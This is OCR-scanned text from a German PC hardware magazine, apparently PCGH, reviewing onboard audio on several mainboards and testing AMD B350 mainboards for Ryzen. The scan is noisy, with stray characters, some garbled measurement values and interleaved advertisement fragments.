namentlich Realtek ALC 892, über 
den Line-In-Eingang verkraften 
kann. Die High-End-Boards sowie 
die Asus STX 2 werden hierdurch 
ein wenig gehandicapt, jedoch ist 
das Spielfeld auf diese Weise aus- 
geglichen. Wir formen unseren 
subjektiven Eindruck indes zuerst, 
um uns nicht unterbewusst durch 
die Messergebnisse beeinflussen zu 
lassen. 


Asrock AB350M Pro 4: Klanglich eher 
bescheiden. Das knapp 85 Euro 
günstige Einsteiger-Mainboard 
kann beim subjektiven Eindruck 
nicht überzeugen. Es liefert zu we- 
nig Leistung, um selbst das eigent- 
lich recht anspruchslose Creative 
H5 zu befeuern und kann dieses au- 
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fserdem klanglich nicht ausschóp- 
fen. Der Sound ist schwammig und 
undifferenziert, die Hóhen klingen 
fad, die Auflösung lässt zu wün- 
schen übrig. Noch unausgegorener 
klingen Beyerdynamic MMX 300 
und HD 560, wenn sie am Kopf- 
hórerausgang des AB350M ange- 
schlossen werden. Der Sound ist 
insbesondere mit dem Sennheiser 
leise und sehr dumpf, es sind kaum 
noch Details aus dem Klangbild he- 
rauszuhóren, zudem komprimieren 
auch noch die Bässe. Für ein güns- 
tiges Headset mag diese Onboard- 
Lósung gerade noch ausreichen. 
Wir würden jedoch Interessenten 
dazu raten, sich nach einer ander- 
weitigen Klangquelle umzusehen, 
beispielsweise USB-Soundkarte 
oder -Headset. Die Messwerte indes 
bescheinigen dem günstigen Main- 
board eine sehr gute Leistung. 


Gigabyte AM350-Gaming 3: ALC 1220 
in Reinkonfiguration. Das rund 120 
Euro kostende Gigabyte-Mainboard 
ist der erste Vertreter mit dem 
neuen Onboard-Sound und kann 
subjektiv zumindest das H5 befrie- 
digend antreiben und klanglich 
halbwegs auslasten. Der Pegel ist 
in Ordnung, allerdings wäre ein 
Quäntchen mehr Leistung nett. Der 
Klang ist ebenfall einigermaßen zu- 
friedenstellend, wobei das H5 noch 
einige Reserven hätte. Anders sieht 
es aus, wenn Beyerdynamic oder 
Sennheiser am Klinkenanschluss 
eingesteckt werden. Das MMX 300 


Asus Xonar Essence STX 2 (Referenz) 


Rightmark Audio Analyzer — Messwerte 


Frequency response (from 40 Hz to 15 kHz), dB +0,00; -0,00 Ausgezeichne 
oise level, dB (A) -101,9 Ausgezeichne 
Dynamic range, dB (A) 96,8 Ausgezeichne 
HD, 96 0,0013 Ausgezeichne 
HD + Noise, dB (A) -90,9 Sehr gut 
MD + Noise, 96 0,0037 Ausgezeichne 
Stereo crosstalk, dB -102,6 Ausgezeichne 
MD at 10 kHz, 96 0,0043 Ausgezeichne 
Generelle Leistung Ausgezeichnet 
Subjektive Qualitätseinschätzung Pegel Klang 


Creative Sound Blaster X (32 Ohm) 


Beyerdynamic MMX 300 Generation 2 (32 Ohm) 


Sennheiser HD 560 Ovation 2 (300 Ohm) 


Bemerkungen: Vorverstärkung für Kopfhörer mit vier Stufen. 
Austattungs-Extras: U.a. PCM 1792A DAC, TPA6120A2 Kopfhörerverstärker 


Asrock AB350 Pro 4 (Realtek ALC 892) 


Rightmark Audio Analyzer — Messwerte 


Frequency response (from 40 Hz to 15 kHz), dB +0,13, +0,07 Ausgezeichnet 

oise level, dB (A) -89,3 Gut 
Dynamic range, dB (A) 89,5 Gut 

HD, % 0,0055 Sehr gut 
HD + Noise, dB (A) -77,6 Durchschnittlich 
MD + Noise, % 0,014 Sehr gut 
Stereo crosstalk, dB -85,4 Ausgezeichnet 
MD at 10 kHz, % 0,012 Sehr gut 
Generelle Leistung Sehr gut 
Subjektive Qualitätseinschätzung Pegel Klang 
Creative Sound Blaster X (32 Ohm) Жж Ж ў Ж ok 
Beyerdynamic MMX 300 Generation 2 (32 Ohm) SS xx 
Sennheiser HD 560 Ovation 2 (300 Ohm) * * 


Bemerkungen: Die Messwerte geben nur begrenzt Auskunft über den subjektiven Klang. 
Austattungs-Extras: Zwei ELNA-Audio-Kondensatoren, ansonsten keine Extras. 


Die Xonar Essence STX 2 ist eine der besten internen Sound- 
karten. Sie liefert reinsten, unverfálschten Stereo-Sound 

und sehr viel Leistung. Sie ist der Maßstab, an dem sich die 
Boards in diesem Test messen müssen. 
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Guter Onboard-Sound ist immer háufiger zu finden — und nicht nur auf exorbitant 
teuren High-End-Boards wie dem Gigabyte Aorus Z270X Gaming. 


Gigabyte AM350-Gaming 3 (Realtek ALC 1220) Biostar Z270 GT6 (ALC 1220) 


klingt dumpf und fad, der Bass ist 
schwammig. Außerdem nerven 
Störgerausche, darunter Knarzen 
und Kratzen, den Audiogenuss. Der 
HD 560 ist nochmals leiser, zudem 
ist ein störendes Hintergrundrau- 
schen zu vernehmen. Diese subjek- 
tiv wahrgenommenen Störungen 
werden auch in den Messungen 
offenbar, irgendetwas scheint mit 
dem Klang zu interferieren, was zu 
heftigen Ausschlägen im Frequenz- 
band sorgt. Die restlichen Messun- 
gen erscheinen ordentlich. 


Biostar Z270 GT6: Guter Klang, aber 
etwas schwach auf der Brust. Das 
für knapp 200 Euro erhältliche 
Z270 GT6 bietet eine kleine Beson- 
derheit: Auf der Platine sind gleich 
zwei Kopfhörerverstärker verbaut 
- einer für den hinteren Anschluss, 
einer für das Frontpanel. Dies ist 


eher ungewöhnlich, im Normal- 
fall wird nur der hintere Kopfhö- 
rereingang verstärkt. Die nötige 
Leistung ist in drei Levels katego- 
risiert und wird automatisch beim 
Einstecken eines Kopfhörers oder 
Headsets gewählt. Das mit Level 
1 verstärkte Sound Blaster X H5 
klingt ordentlich und liefert einen 
recht vollen, runden Sound, das 
Limit des Hörers wird noch nicht 
ausgeschöpft. Die Lautstärke ist 
hoch genug, aber ebenfalls noch 
nicht das Ende der Fahnenstange. 
Der MMX 300 ist etwas leiser, zu- 
dem nerven der etwas blechern 
wirkende, hohle Klang und zum 
Zischen neigende Höhen. Diese 
Unschönheiten sind auch beim 
Sennheiser-Kopfhörer zu verneh- 
men, nur spielt dieser nochmals 
leiser und lässt außerdem fast die 
kompletten Tiefen vermissen. 


Creative Sound Blaster X (32 Ohm) 
Beyerdynamic MMX 300 Generation 2 (32 Ohm) 
Sennheiser HD 560 Ovation 2 (300 Ohm) 


Bemerkungen: Im ALC 1220 integrierter Kopfhörerverstärker mit 3 automatischen Stufen. 
Austattungs-Extras: Nichicon-Fine-Gold-Kondensatoren, EMI-Shield. 


Rightmark Audio Analyzer — Messwerte Rightmark Audio Analyzer — Messwerte 
Frequency response (from 40 Hz to 15 kHz), dB 422,4, -2,92 Sehr schlecht Frequency response (from 40 Hz to 15 kHz), dB +0,02, -0,04 Ausgezeichnet 
oise level, dB (A) -88,7 Gut oise level, dB (A) -88,9 Gut 
Dynamic range, dB (A) 88,5 Gut Dynamic range, dB (A) 88,7 Gut 
HD, 96 0,012 Gut HD, 96 0,0083 Sehr gut 
HD + Noise, dB (A) -73,7 Durchschnittlich HD + Noise, dB (A) -76,3 Durchschnittlich 
MD + Noise, % 0,024 Gut MD + Noise, % 0,015 Sehr gut 
Stereo crosstalk, dB -88,9 Ausgezeichnet Stereo crosstalk, dB -88,6 Ausgezeichnet 
MD at 10 kHz, % 4,954 Sehr schlecht MD at 10 kHz, % 0,013 Sehr gut 
Generelle Leistung Durchschnittlich Generelle Leistung Sehr gut 
Subjektive Qualitätseinschätzung Pegel Klang Subjektive Qualitätseinschätzung Pegel Klang 


Creative Sound Blaster X (32 Ohm) 


Beyerdynamic MMX 300 Generation 2 (32 Ohm) 


Sennheiser HD 560 Ovation 2 (300 Ohm) 


Bemerkungen: Sehr gute Messwerte, subjektiv nur durchschnittlicher bis guter Klang. 
Austattungs-Extras: EMI-Shield, Kondensatoren, 2x Kopfhörerverstärker (Front u. Back). 


Gigabyte Aorus Z270X Gaming 9 (Sound Core 3D) 


Asrock Fatallty Z270 Gaming K6 (АІС 1220) 


Rightmark Audio Analyzer - Messwerte 


Rightmark Audio Analyzer — Messwerte 


kk ЖЖЖ 
Beyerdynamic MMX 300 Generation 2 (32 Ohm) Icd» d. оо 0. 2.0.7 
Sennheiser HD 560 Ovation 2 (300 Ohm) kkkkk ЖЖЖЖ 


Bemerkungen: Das mit Abstand leistungsfáhigste Board, aber nicht das am besten klingende. 


Creative Sound Blaster X (32 Ohm) 


Austattungs-Extras: U.a. TI PCM1794 DAC, wechselbare Op-Amps, Kopfhörerverstärker. 


Frequency response (from 40 Hz to 15 kHz), dB +0,04, -0,37 Gut Frequency response (from 40 Hz to 15 kHz), dB -0,05, -0,11 Ausgezeichne 
oise level, dB (A) -92,2 Sehr gut oise level, dB (A) -92,7 Sehr gut 
Dynamic range, dB (A) 92,3 Sehr gut Dynamic range, dB (A) 92,7 Sehr gut 
HD, % 0,0097 Sehr gut HD, % 0,0018 Ausgezeichne 
HD + Noise, dB (A) -77,8 Durchschnittlich HD + Noise, dB (A) -85,0 Gut 
MD + Noise, % 0,019 Sehr gut MD + Noise, % 0,0075 Ausgezeichne 
Stereo crosstalk, dB -77,7 Sehr gut Stereo crosstalk, dB -91,3 Ausgezeichne 
MD at 10 kHz, 96 0,084 Gut MD at 10 kHz, 96 0,0076 Ausgezeichne 
Generelle Leistung Sehr gut Generelle Leistung Ausgezeichnet 
Subjektive Qualitätseinschätzung Pegel Klang Subjektive Qualitätseinschätzung Pegel Klang 


Creative Sound Blaster X (32 Ohm) 


Beyerdynamic MMX 300 Generation 2 (32 Ohm) 


Sennheiser HD 560 Ovation 2 (300 Ohm) 


Bemerkungen: Den Messungen und dem subjektiven Eindruck zufolge das beste Board. 
Austattungs-Extras: U.a. TI NE5532 Kopfhörerverstärker; Auto-Impedanzerkennung 
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Gigabyte Aorus Z270X Gaming 9: 
Der Leistungskönig. Fast 600 Euro 
für ein Mainboard, da kann man 
schon mal schlucken. Das Aorus 
Z270X Gaming 9 ist jedoch auch 
sehr gut ausgestattet und dazu 
zählt auch die dicht bepackte Au- 
dio-Sektion. Als einzige Platine im 
Testfeld wurde hier kein Realtek- 
Codec verbaut, sondern ein von 
Creative stammender Уіегкегп- 
DSP. Der bekannte Sound Core 
3D wird dazu von einer Vielzahl 
weiterer audiorelevanter Kom- 
ponenten unterstützt, 
leistungsfähige Operations-Ver- 
stärker, die zum Teil auch gewech- 
selt beziehungsweise aufgerüstet 
werden können. Das Oberklasse- 
Mainboard liefert die mit Abstand 
höchste Verstärkerleistung und 
kann sogar den Sennheiser HD 560 
Ovation 2 beinahe voll antreiben. 
Ein letztes Quäntchen fehlt indes, 
denn der Tiefton wird noch nicht 
aus seinem Schlummer erweckt. 
Das MMX 300 und erst recht das 
Creative H5 werden bei maximier- 
ter Lautstärke jedoch geradezu zer- 
blasen - also Obacht, Ihre Ohren 


darunter 


werden es Ihnen danken. Subjektiv 
klingt das Gigabyte-Brett sehr gut, 
was auch unsere Messungen bestä- 
tigen. Doch zischen die Höhen ein 
wenig, die Mitten wirken etwas 
unterbetont und der Bass dröhnt 
ein wenig - dieser Umstand kostet 
das exorbitant teure Oberklasse- 
Mainboard den ersten Platz. 


Asrock Fatallty 2270 Gaming K6: 
Realtek ALC 1220 done right! An- 
ders als der Beiname „Fatallty“ 
suggerieren könnte, kommt auf 
dem Z270 Gaming K6 Fatallty 
ein ALC 1220 zum Einsatz, nicht 
etwa wie beim Aorus Z270X ein 
von Creative stammender Sound 
Core 3D. Einzig die Software 
Sound Blaster Cinema 3 stammt 
von dem Soundkartenhersteller. 
Neben dem Realtek-Codec ist ein 
sehr potenter NE5532-Kopfhörer- 
verstärker verbaut. Dieser treibt 
unsere Testgeräte mit reichlich Ve- 
hemenz an, auch wenn nicht ganz 
die Leistung des Gigabyte Aorus 
Z270X Gaming erreicht wird. Die 
nötige Verstärkung wird dabei au- 
tomatisch gewählt, was sehr gut 


funktioniert - für jeden unserer 
Testhörer wurde der korrekte Wi- 
derstand erkannt. Es reicht nicht 
ganz, um H5 und MMX 300 anzu- 
treiben, geschweige denn über ihr 
Lautstärke-Limit zu treiben, wie es 
beim Aorus geschieht; ausreichend 
Dampf, um bleibende Hörschäden 
zu verursachen, ist aber vorhanden 
- bitte nicht ausprobieren! Nur der 
notorisch schläfrige Tiefton des 
Sennheiser HD 560 ließ sich nicht 
vollständig erwecken. 


Noch beachtlicher als die Leistung 
ist jedoch die Klangqualität. Wir 
hätten nicht damit gerechnet, dass 
eine Onboard-Lösung so nah an 
eine High-End-Soundkarte wie die 
STX 2 herankommen würde. Und 
es ist noch nicht einmal das teu- 
erste und am besten ausgestattete 
Mainboard. Da wir die Eigenheiten 
aller drei Hörer sehr genau kennen 
und unsere Ohren geschult haben, 
fallen uns im direkten Vergleich 
einige kleine Unterschiede bei der 
Detailabbildung und Dynamik im 
Vergleich zur Asus-Soundkarte auf. 
Sowohl MMX 300 als auch Sound 


Blaster H5 werden jedoch klang- 
lich beinahe bis zum Limit ausge- 
schöpft - sehr beachtlich! Einzig 
der HD 560 Ovation 2 klingt an 
der High-End-Soundkarte wirklich 
auffällig besser. Aber das soll kein 
Kritikpunkt sein, denn eigentlich 
gehört der Hi-Fi-Kopfhörer an eine 
ebensolche Anlage angeschlossen. 
Was Asrock betrifft: Bitte weiter so! 
Onboard-Audio muss offensicht- 
lich weder schlecht klingen noch 
teuer sein. Wir hoffen auf weitere 
solch überzeugende Produkte in 
naher Zukunft. (pr) 


Auf das Umfeld kommt es an. 

Der neue Realtek-Codec ALC 1220 
kann sehr gut klingen, das Asrock 
2270 Gaming K6 Fatal1ty beweist dies 
mit der einer guten Soundkarte durch- 
aus ebenbürtigen Klangqualität und 
Leistung. Dabei kommt es allerdings 
nicht nur auf den Codec allein an. Der 
gesamte Aufbau der Audiosektion, zu- 
sátzliche Bauteile sowie Verstárker und 
deren Güte sorgen für guten Klang. 


Zwei Handlungen, zwei Helden, ein gro- 
Bes Abenteuer: Memoria schickt Sie auf 
Zeitreise durch das malerische Aventu- 
rien, die Welt von Das Schwarze Auge. 
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Ryzen setzt neue Preis-Leistungs-Maßstäbe für CPUs, der B350 1/0-Нир soll das Gleiche im Mainboard- 
Segment ermöglichen — wir prüfen, ob vier Kandidaten die Erwartungen erfüllen. 


ürs gleiche Geld 25 Prozent 

mehr Leistung? Oder die glei- 
che Leistung 30 Prozent günstiger? 
AMDs Ryzen 7 und insbesondere 
Ryzen 5 (siehe Test Seite 34) bieten 
beste Voraussetzungen für preisbe- 
wusste Neukäufer und Aufrüster. 
Selbst Letztere benótigen für ein 
komplettes System aber zumin- 
dest noch ein neues Mainboard 
und Preise von bis zu 300 Euro für 
X370-Oberklasse-Modelle vernich- 
ten den Prozessor-Preisvorteil ganz 
schnell wieder. Deswegen gibt 
es unterhalb dieses Promontory- 
Topmodells noch zwei weitere I/O- 
Hubs für günstigere Platinen. 


Promontory ultra light 

Der günstigste A320 ist dabei nur 
eingeschränkt interessant, denn 
als einziger Ryzen-Begleiter erlaubt 
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er keine CPU-Übertaktung. Gerade 
die Kombination aus vielen Kernen 
zum niedrigen Preis und Taktan- 
hebung auf eigene Gefahr macht 
aber den großen Reiz der AMD- 
Mittelklasse aus, denn Intel kann 
bei vergleichbarem Budget weder 
das eine noch das andere, son- 
dern nur eine höhere Single-Core- 
Leistung ab Werk bieten. Auch die 
Mainboard-Hersteller scheinen 
den A320 als reinen Low-Cost-Chip 
für Büro- und OEM-Rechner zu be- 
trachten und verzichten auf zahl- 
reiche Ausstattungsmerkmale. Oft 
gibt es nicht einmal ausreichend 
USB-Ports, von Erweiterungsmög- 
lichkeiten ganz zu schweigen. Die 
bis Redaktionsschluss vorgestell- 
ten Modelle nutzen sogar alle das 
Micro-ATX-Format, um ein paar 
Cent Platinenmaterial einzusparen. 


Ausgeglichene Mittelklasse 
Wesentlich attraktiver erscheint 
das mittlere Promontory-Modell, 
der B350. Wie seine Geschwister 
A320 und X370 ist er aber kein 
klassischer „Chipsatz“, sondern nur 
ein einzelner Chip, der zudem op- 
tional ist. Vier USB-3.0-Geräte und 
eine M.2-SSD (alternativ zwei SATA- 
Lauferke) lassen sich nämlich auch 
direkt an die Ryzen-CPU anbinden, 
die dann als beinahe eigenständi- 
ges System-on-a-Chip (eine interne 
Grafikeinheit fehlt) arbeitet. Mit 
dieser Minimal-Ausstattung gibt 
sich aber kein Desktop-Nutzer 
zufrieden, weswegen über vier 
PCI-Express-3.0-Lanes 
die /O-Hubs angebunden werden 
können, welche zahlreiche weite- 
re Schnittstellen bereitstellen. Im 
Falle des B350 sind dies je zwei 


reservierte 


USB-3.1- und USB-3.0-Ports (X370: 
zwei respektive sechs) und jeweils 
sechs SATA-Anschlüsse und PCI-Ex- 
press-2.0-Lanes (X370: je acht). Als 
weitere Beschränkung gegenüber 
dem X370 ist es B350-Mainboards 
verboten, die ersten 16 РСІ-Ех- 
press-3.0-Lanes der CPU auf zwei 
x8-Slots für Multi-GPU-Betrieb auf- 
zuteilen - allerdings bevorzugen 
die meisten PCGH-Leser ohnehin 
und zu Recht eine potente Single- 
GPU-Karte mit voller x16-Anbin- 
dung. Einschränkungen in den 
Übertaktungsmöglichkeiten durch 
den I/O-Hub gibt es dagegen nicht. 


Testfeld 

Ein Chip alleine ergibt noch kein 
Mainboard und so stehen den 
Mainboard-Herstellern zwei grund- 
sátzliche Wege offen: Entweder 
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Asus Prime B350-Plus 


Von allem ein bisschen weniger, aber trotzdem genug - das Prime B350-Plus steht in der Tradition der alten „Pro Gamer" Modelle von Asus. Der Onboard- 
Sound ist noch Mittelklasse, drei Lüfteranschlüsse sind (mit Y-Kabel) ausreichend und das Layout bietet trotz Verzicht auf einen siebten Slot nur angemes- 
senen Platz für CPU-Kühler, berücksichtigt aber dicke Grafikkartenkühler. Dank vollstándiger Nutzung des B350 passt auch die USB- und SATA-Ausstattung. 


Almost-full-size ATX 

Asus spart wortwörtlich an jeder Ecke — 
und kürzt das Prime B350-Plus um 7 mm 
gegenüber dem ATX-Standard. Auf der 
dritten spezifizierten Reihe Abstandshalter 
kann es sich so nicht mehr abstützen und 
das freitragende Ende biegt sich beim 
Einsetzen von RAM bedenklich durch. 


Befriedigende Kühlung 
Normalerweise sind knapp 80 °C Span- 
nungswandlertemperatur ein Makel, aber 
in der B350-Riege ist das Prime B350-Plus 
der sprichtwörtliche Einäugige unter den 
Blinden, obwohl die materialarme Verbin- 


dung zwischen Kühlerbodenplatte und 
-lamellen etwas zu knapp erscheint. 


SATA- und M.2-Vollausbau, 
Ryzen-CPUs stellen Ressourcen für einen PCI-Express-3.0-x 16-Grafikkarten-Slot und eine 
3.0-x4-SSD bereit, der B350 kann sechs SATA- und sechs PCI-E-2.0-Geráte ansteuern. Asus 
nutzt diese Möglichkeiten voll aus, da die 2.0-Lanes aber auch LAN-Controller und eine Brid- 
ge für die PCI-Slots versorgen, streiten sich x4- und x1-Slots um die verbleibenden 4 Lanes. 


aber PCI statt PCI-Express 


sie kombinieren den günstigeren, 
immer noch gut ausgestatteten 
B350 mit einer Infrastruktur auf 
Niveau ihrer X370-Angebote, was 
aber auch entsprechend hohe Kos- 
ten bedeuten würde. Oder aber sie 
sparen in gleichem oder gar noch 
grófseren Mafse an der Platine und 
ihrer Bestückung und erzielen so 
deutlich niedrigere Preise. 


Die meisten Mainboards am Markt 
tendieren eher zu letzterer ,Billig*- 
Variante; in unserem Testfeld zeigt 
sich das vor allem bei der Stromver- 
sorgung der CPU und den Sound- 
Lösungen. Außerdem haben wir 
gezielt zwei kleine Micro-ATX-Mo- 
delle angefordert. Auf typischem 
B350-Ausstattungsniveau sind die- 
se in der Produktion günstiger als 
vollwertige, erweiterungsfreund- 
liche ATX-Designs und bieten so 
entweder einen noch niedrigeren 
Preis ohne Ausstattungsabstriche 
oder aber eine etwas höhere Qua- 
lität zu weiterhin guten Preisen. 
Eine weitere, unerwartete Eigen- 
schaft ist die schlechte Lieferbar- 
keit: Asrock selbst hatte bis Redak- 
tionsschluss keine Testmuster des 
Preisbrechers AB350M Pro zur 
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Verfügung, nur dank freundlicher 
Unterstützung von Alternate fand 
ein Exemplar aus der ersten End- 
kunden-Charge seinen Weg in die 
Redaktion. Das für seine Preisklas- 
se laut Spezifikationen gut ausge- 
stattete B350M Mortar Arctic konn- 
te MSI hingegen selbst mit einem 
Umweg über Händler nicht binnen 
vier Wochen liefern. 


Tuning-Optionen 

Die verbleibenden vier Testkandi- 
daten zeigen aber auch so deutlich 
den Unterschied zwischen Theorie 
und Praxis: Während tatsächlich 
alle B350-Kandidaten die von den 
X370-Brüdern gewohnten, aber 
vom AMD-Microcode auf einige we- 
nige Latenzen und eine maximale 
Takteinstellung von DDR4-3200 be- 
grenzten Speicheroptionen bieten, 
gibt es bei der CPU-Übertaktung 
große Unterschiede. 


So bieten Asus, Gigabyte und Bio- 
star keine Möglichkeit, die Kern- 
spannung manuell festzulegen 
- einzig ein Offset nach unten 
und, bei Biostar ausschließlich, 
oben ist über die Spannungsein- 
stellungen möglich. Nur Asrock 


Energieffizienz: Asrock knapp vorne 


Rechner aus: Soft-off inklusive 80-Plus-Gold-Netzteil 
Asrock AB350M Prod www 1,5 (Basis) 
Gigabyte AB350-Gaming 3 =c 1,5 (0 96) 
Asus Prime B350-Plus E 1,6 (+7 96) 
Biostar Racing B350GT5 EX 2,1 (+40 %) 
Leerlauf: Windows-8.1-Desktop inklusive 80-Plus-Gold-Netzteil 
Asrock AB350M Prod Eu 48,1 (Basis) 
Asus Prime B350-Plus Eu 48,1 (0 90) 
Biostar Racing B350GT5 = = 53,9 (+12 %) 
Gigabyte AB350-Gaming 3 EX 55,7 (+16 96) 
Volllast: Witcher 2 + Prime 95 (4 Threads) inkl. 80-Plus-Gold-Netzteil 
Asrock AB350M Pro4 = —s— 346 (Basis) 
Gigabyte AB350-Gaming З = =a 348 (+1 96) 
Biostar Racing B350GT5 u = 350 (+1 96) 
Asus Prime B350-Plus Em 357 (+3 96) 


System: Ryzen 7 1800X, Palit GTX980ti Superjetstream 110% Power-, 91 °C Temp.-Tar- 
get; 2x 8 GiB DDR4-2400 Bemerkungen: Die Abstände sind gering; im Schnitt verbrau- 
chen die B350-Platinen mehr Strom als das X370-Testfeld der PCGH 05/2017. 


Watt 
< Besser 


ermóglicht die Vorgabe eines fixen 
Vcore-Werts - dafür fehlt hier im 
Gegenzug eine komfortable Offset- 
Option. Erst über die Anlage eige- 
ner Power-States mit spezifischen 
Takt- und Voltage-IDs làsst sich bei 
Asrock eine lastabhängige Span- 
nungsregelung im  übertakteten 
Betrieb realisieren - dieses Vorge- 
hen wiederum eróffnet dank einer 


großen Anzahl frei definierbarer 
P-States aber erstaunlich weit rei- 
chende Móglichkeiten. Bei Biostar 
hingegen ist nur ein zusätzlicher 
P-State móglich und zugleich die 
einzige Móglichkeit, überhaupt zu 
übertakten, denn eine eigene Opti- 
on zur Änderung des CPU-Multipli- 
kators gibt es nicht. Móglicherwei- 
se werden sich diese Mängel aber 
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Asrock AB350M Pro4 


Dass das Micro-ATX-Format nicht zwingend mit eingeschränkter Erweiterbarkeit einhergeht, beweist Asrocks AB350M Pro4 und schlägt unter gewissen Ge- 
sichtspunkten sogar dreimal teurere X370-ATX-Designs. Trotz des niedrigsten Preises im Testfeld ist auch die Spannungswandlerkühlung noch ausreichend; 
dass die USB-3.1-Fähigkeiten des B350 gar nicht und nur vier von sechs SATA-Ports genutzt werden (und auch noch geteilt werden müssen), stört aber. 


Durchdachtes Layout 
Zusätzlich zu einer Dual-Slot-Grafikkarte 
(PCI-E 3.0 x16) nimmt das AB350M Pro4 
noch eine x4- und eine x 1-2.0-Erweite- 
rungskarte auf und selbst wenn letztere 
Überlänge hat, bleibt mehr als genug 
Platz, um 140 mm breite CPU-Kühler 
(hier: Mugen 5, 138 mm) zu montieren. 


Kein USB mit 10 GBit/s 

Ryzen und B350 bieten zusammen 2 USB- 
3.1- und 6 USB-3.0-Ports, aber auf dem 
AB350M Pro4 finden sich sieben USB-An- 
schlüsse mit 3.0-Geschwindigkeit (zwei 
im Front-Panel-Header, vier Typ-A und ein 
Typ-C am I/O-Panel) und unerklärlicher- 
weise kein Einziger nach 3.1-Standard. 


Dual M.2 mit SATA-Sharing, aber kein Dual-NVME 

SATA-M.2-SSDs sind kompakter, aber nicht schneller als 2,5-Zoll-Modelle und werden meist 
alternativ zu PCI-E-3.0-x4-NVME-Boliden im ersten M.2-Slot unterstützt. Asrock hingegen 
verbaut einen zweiten Steckplatz, sodass in kompakten Mini-PCs ein zusätzliches, langsames 
Datengrab onboard verbaut werden kann. Dafür werden aber zwei SATA-Ports deaktiviert. 


Gigabyte AB350-Gaming 3 


Das Gaming "- Branding deutet es an: In дег 120-Euro-Preisklasse ist Gigabyte nicht mehr auf reine Kostenersparnis fixiert, sondern möchte mit Features 
überzeugen. Während die RGB-LED-Beleuchtung an der rechten und linken Boardkante eher Geschmackssache ist, kommen das vorbildliche, großzügige 
Layout und der solide Onboard-Sound allen Anwendern zugute. Deutliche Punktabzüge gibt es aber für die ungenügende Spannungswandlerkühlung. 


Mittelklasse-Sound 

Die meisten B350-Mainboards sparen 
nicht nur am 1/0-Нир. Das AB350-Gaming 
3 ist eines der wenigen Mainboards, das 
sich Realteks aktuellsten Audio-Codec 
ACL1220 leistet. Externe Verstärker oder 
gar DACs bleiben aber der Oberklasse 
vorbehalten (siehe auch Seite 50). 


SATA von CPU oder APU 
Gigabyte ist einer der wenigen Hersteller, 
der die SATA-Fähigkeiten der AM4-CPUs 
und -APUs verwendet. Da zwei Ports des 
B350 ungenutzt bleiben, stehen Anwen- 
dern aber trotzdem nur sechs Anschlüsse 
zur Verfügung und zwei werden deakti- 
viert, wenn der M.2-Slot in Betrieb ist. 


Viel Platz für Grafikkarten und CPU-Kühler 

Gigabyte behält beim AB350-Gaming 3 die Platzaufteilung der X370-Oberklasse bei und 
positioniert den Sockel weit genug oben, um alle sieben ATX-Slotóffnungen nutzen zu 
können. So passen zusätzlich zu einer Triple-Slot-Grafikkarte bis zu vier x1- oder aber eine 
x1- (ATX-Position 1) und eine x4- (ATX-Position 5) 2.0-Erweiterungskarte. 
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UEFI-Versionen 
bessern, so fehlte im Lieferzustand 
bei Biostar selbst das spartanische 
P-State-Menü. 


mit kommenden 


Auch bei der Speicherunterstüt- 
zung hat Biostar Nachholbedarf. 
Während die UEFIs der anderen 
Hersteller mittlerweile mit den 
meisten RAM-Modulen zusammen- 
arbeiten, solange man sich inner- 
halb der (niedrigen) AMD-Spei- 
cherspezifikationen bewegt, stellt 
unser B350GT5-Testmuster nur bei 
zwei von zwólf getesteten Modulen 
(beide von Crucial) automatisch 
die korrekten 2400 MHz DDR ein. 
Die meisten andere Module booten 
mit einem DDR4-2133-Minimalpro- 
fil und lassen sich dann manuell tu- 
nen, zwei Patriot-Module schaffen 
es aber nicht einmal bis ins UEFI. 
Auch unser Referenz-Test-RAM von 
Kingston benótigte 10 Anlàufe, ehe 
wir händisch stabile Einstellungen 
vorgeben kónnen. Interessanter- 
weise genügt es hier, wahlweise 
die Speicherspannung anzuheben 
oder DDR4-2400 fix einzustellen - 


das B350GT5 hat also kein techni- 


sches Problem mit der geforderten 
RAM-Geschwindigkeit, wohl aber 
mit deren automatischer Konfigu- 
ration. 


Nicht mit Patches zu beheben sind 
die Kühlungsprobleme der günsti- 
gen Mainboards. Das kleinere Аг- 
gernis ist dabei die verklebte Back- 
plate des Prime B350-Plus, die der 
Montage vieler High-End-Kühler 
im Weg ist. Wie bei allen Asus-AMÁ- 
Mainboards muss man hier die 
grofse Klebeschicht mit einem Fón 
erwärmen oder darauf hoffen, dass 
diese nur punktuell an die Platinen- 
rückseite gedrückt wurde. Unser 
B350-Exemplar war in dieser Hin- 
sicht bereits deutlich widerspens- 
tiger als die X370-Testmuster aus 
der ersten Produktionscharge, die 
Backplate ließ sich aber noch mit 


blofser Hand lósen. 


Dauerhaft stórend sind dagegen zu 
hohe Spannungswandlertempera- 
turen. Nachdem die X370-Kandida- 
ten bereits 20 bis 30 Kelvin heifser 
wurden als von Intel-Plattformen 
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gewohnt, bietet die B350-Klasse 
ein trauriges Bild. Nur Asus' Prime 
B350-Plus erreicht mit 79 °C (bezo- 
gen auf 20 °C Umgebungstempe- 
ratur) einen befriedigenden Wert, 
Asrock schafft mit 86 *C auf der Pla- 
tinenrückseite ein Ausreichend. In 
einem gut belüfteten Gehäuse be- 
ziehungsweise mit einem stárkeren 
CPU-Lüfter als unserem auf 900 U/ 
min gedrosselten EKL Brocken Eco 
ist mit diesen Mainboards Übertak- 
tung móglich, Biostars B350GT5 
wird dagegen von unserem Ryzen 7 
1800X schon bei Standardtakt über 
die 90 *C getrieben. 


Gigabyte geht einen Schritt weiter 
und bringt sowohl unsere Scythe- 
Lüftersteuerung als auch die eige- 
ne Platine an ihre Grenzen: Bei real 
28 °С warmer Umgebungsluft am 
Teststand erreichen wir das Scy- 
the-Anzeigelimit von 100 ?C. Die 
tatsächliche Temperatur liegt deut- 
lich hóher, eine nicht kalibrierte 
Lamptron-Steuerung zeigt bis zu 
112 *C an und der interne Sensor 
von Gigabyte (ein löbliches Allein- 
stellungsmerkmal in dieser Klasse!) 
meldet gar 117 °C. Selbst diese Tem- 
peratur wird nur gehalten, weil 
Schutzschaltungen greifen und die 


ngelegenheit: Wie bei allen Asus-AM4-Mainboards ist auch die Backplate des 
Prime B350-Plus verklebt, was die Montage vieler Kühler deutlich erschwert. 


TEELWING 


Aluminium Craftmanship 


Hotline: 0800-ENERMAX 
WwWwWwW.enermax.de 
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Biostar Racing B350GT5 


Mainboards mit Fokus auf Design, Sound und nominell auch Übertaktung heißen bei Biostar , Racing". Das OC-Versprechen kann die CPU-Stromversorgung 
respektive deren kleiner Kühler aber nur für Ryzen-5- und -3-Modelle erfüllen. Auch viele OC-Optionen im UEFI wirken unfertig und RAM-Module ohne 
